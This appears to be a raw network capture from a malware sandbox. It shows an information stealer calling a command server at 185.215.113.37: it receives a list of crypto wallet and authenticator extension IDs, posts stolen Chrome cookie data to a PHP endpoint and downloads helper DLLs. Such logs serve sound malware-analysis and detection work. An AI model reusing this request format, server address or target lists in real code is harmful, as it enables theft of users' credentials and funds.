TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 14, 2024 13:08:10.500642061 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 14, 2024 13:08:10.500667095 CEST	248	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 14, 2024 13:08:11.590739012 CEST	1236	IN	Data Raw: 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d 4e 74 62 6d 74 69 5a 32 35 38 4d 58 77 77 66 44 42 38 56 47 56 36 51 6d Data Ascii: YW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZ
Oct 14, 2024 13:08:11.590904951 CEST	124	IN	Data Raw: 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 46 73 62 47 56 30 66 47 46 70 61 6d 4e 69 5a 57 52 76 61 57 70 74 5a 32 Data Ascii: bmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpv
Oct 14, 2024 13:08:11.722248077 CEST	1236	IN	Data Raw: 63 69 42 51 59 58 4e 7a 64 32 39 79 5a 43 42 4e 59 57 35 68 5a 32 56 79 66 47 6c 74 62 47 39 70 5a 6d 74 6e 61 6d 46 6e 5a 32 68 75 62 6d 4e 71 61 32 68 6e 5a 32 52 6f 59 57 78 74 59 32 35 6d 61 32 78 72 66 44 46 38 4d 48 77 77 66 45 46 31 64 47 Data Ascii: ciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHB
Oct 14, 2024 13:08:11.722271919 CEST	1236	IN	Data Raw: 61 47 52 6a 62 32 35 6b 59 6d 4e 69 5a 47 35 69 5a 57 56 77 63 47 64 6b 63 47 68 38 4d 58 77 77 66 44 42 38 55 6d 6c 7a 5a 53 41 74 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 6f 59 6d 4a 6e 59 6d 56 77 61 47 64 76 61 6d 6c 72 59 57 Data Ascii: aGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5
Oct 14, 2024 13:08:11.722301960 CEST	792	IN	Data Raw: 62 47 56 30 66 47 39 71 5a 32 64 74 59 32 68 73 5a 32 68 75 61 6d 78 68 63 47 31 6d 59 6d 35 71 61 47 39 73 5a 6d 70 72 61 57 6c 6b 59 6d 4e 6f 66 44 46 38 4d 48 77 77 66 46 42 31 62 48 4e 6c 49 46 64 68 62 47 78 6c 64 43 42 44 61 48 4a 76 62 57 Data Ascii: bGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21
Oct 14, 2024 13:08:11.724503040 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIEHJDBKJKECBFHDGHJ Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 36 35 31 30 64 64 38 30 31 39 31 61 64 35 39 64 64 38 33 65 39 38 38 34 37 36 37 36 62 36 39 63 32 64 39 38 64 34 64 35 32 34 36 38 66 62 61 37 64 65 30 33 33 38 32 64 65 66 64 34 32 34 38 65 61 34 65 65 65 63 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 4a 2d 2d 0d 0a Data Ascii: ------FIIEHJDBKJKECBFHDGHJContent-Disposition: form-data; name="token"1f6510dd80191ad59dd83e98847676b69c2d98d4d52468fba7de03382defd4248ea4eeec------FIIEHJDBKJKECBFHDGHJContent-Disposition: form-data; name="message"fplugins------FIIEHJDBKJKECBFHDGHJ--
Oct 14, 2024 13:08:11.951174974 CEST	335	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 11:08:11 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 14, 2024 13:08:11.970673084 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHDGIJJDGCBKFIDHIEBK Host: 185.215.113.37 Content-Length: 6555 Connection: Keep-Alive Cache-Control: no-cache
Oct 14, 2024 13:08:11.970705032 CEST	6555	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 36 35 31 30 Data Ascii: ------EHDGIJJDGCBKFIDHIEBKContent-Disposition: form-data; name="token"1f6510dd80191ad59dd83e98847676b69c2d98d4d52468fba7de03382defd4248ea4eeec------EHDGIJJDGCBKFIDHIEBKContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 14, 2024 13:08:12.717228889 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 11:08:12 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 14, 2024 13:08:12.718077898 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 14, 2024 13:08:12.942987919 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 11:08:12 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 14, 2024 13:08:12.943046093 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 14, 2024 13:08:18.138700008 CEST	952	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBGCBAFCGDAAKFIDGIE Host: 185.215.113.37 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 36 35 31 30 64 64 38 30 31 39 31 61 64 35 39 64 64 38 33 65 39 38 38 34 37 36 37 36 62 36 39 63 32 64 39 38 64 34 64 35 32 34 36 38 66 62 61 37 64 65 30 33 33 38 32 64 65 66 64 34 32 34 38 65 61 34 65 65 65 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------JEBGCBAFCGDAAKFIDGIEContent-Disposition: form-data; name="token"1f6510dd80191ad59dd83e98847676b69c2d98d4d52468fba7de03382defd4248ea4eeec------JEBGCBAFCGDAAKFIDGIEContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------JEBGCBAFCGDAAKFIDGIEContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------JEBGCBAFCGDAAKFIDGIE--
Oct 14, 2024 13:08:18.866787910 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 11:08:18 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 14, 2024 13:08:18.970648050 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJECAEHJJJKJKFIDGCBG Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 36 35 31 30 64 64 38 30 31 39 31 61 64 35 39 64 64 38 33 65 39 38 38 34 37 36 37 36 62 36 39 63 32 64 39 38 64 34 64 35 32 34 36 38 66 62 61 37 64 65 30 33 33 38 32 64 65 66 64 34 32 34 38 65 61 34 65 65 65 63 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IJECAEHJJJKJKFIDGCBGContent-Disposition: form-data; name="token"1f6510dd80191ad59dd83e98847676b69c2d98d4d52468fba7de03382defd4248ea4eeec------IJECAEHJJJKJKFIDGCBGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJECAEHJJJKJKFIDGCBGContent-Disposition: form-data; name="file"------IJECAEHJJJKJKFIDGCBG--
Oct 14, 2024 13:08:19.696799994 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 11:08:19 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 14, 2024 13:08:20.522959948 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBFHJEGDAFHIJKECFBKJ Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 36 35 31 30 64 64 38 30 31 39 31 61 64 35 39 64 64 38 33 65 39 38 38 34 37 36 37 36 62 36 39 63 32 64 39 38 64 34 64 35 32 34 36 38 66 62 61 37 64 65 30 33 33 38 32 64 65 66 64 34 32 34 38 65 61 34 65 65 65 63 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EBFHJEGDAFHIJKECFBKJContent-Disposition: form-data; name="token"1f6510dd80191ad59dd83e98847676b69c2d98d4d52468fba7de03382defd4248ea4eeec------EBFHJEGDAFHIJKECFBKJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EBFHJEGDAFHIJKECFBKJContent-Disposition: form-data; name="file"------EBFHJEGDAFHIJKECFBKJ--
Oct 14, 2024 13:08:21.511322975 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 11:08:20 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 14, 2024 13:08:22.149003029 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 14, 2024 13:08:22.511185884 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 11:08:22 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 14, 2024 13:08:23.732587099 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 14, 2024 13:08:23.957501888 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 11:08:23 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 14, 2024 13:08:24.546516895 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 14, 2024 13:08:24.771064997 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 11:08:24 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 